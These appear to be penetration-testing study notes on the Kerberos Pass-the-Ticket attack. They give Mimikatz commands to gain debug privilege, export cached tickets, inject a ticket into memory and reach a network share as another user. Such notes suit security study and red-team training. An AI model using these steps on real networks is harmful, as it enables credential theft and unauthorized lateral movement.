Pass the Ticket

---

What its about? Basically we use cached tickets to access the resource instead of extracting hashes through them. we impersonate as the user we have ticket of.

• TGT - impersonate user
• TGS - impersonate user with a specific service

Requirement

• Cached Tickets

what do we do? get the ticket inject in memory access the resource .

---

Attack

Load MIMIKATZ with SeDebug Priviliges

privilege::debug

Export Tickets

sekurlsa::tickets /export

list exported tickets

dir *.kirbi

We know that ticket #0 is a TGT because the server is krbtgt.

Inject Exported Ticket in memory

kerberos::ptt {{ticket}}

Access the resource now

ls \\web04\backup

This should get you authenticated as the ticket user instead of your identity . As the ticket in memory will be sent to Kerberos .

---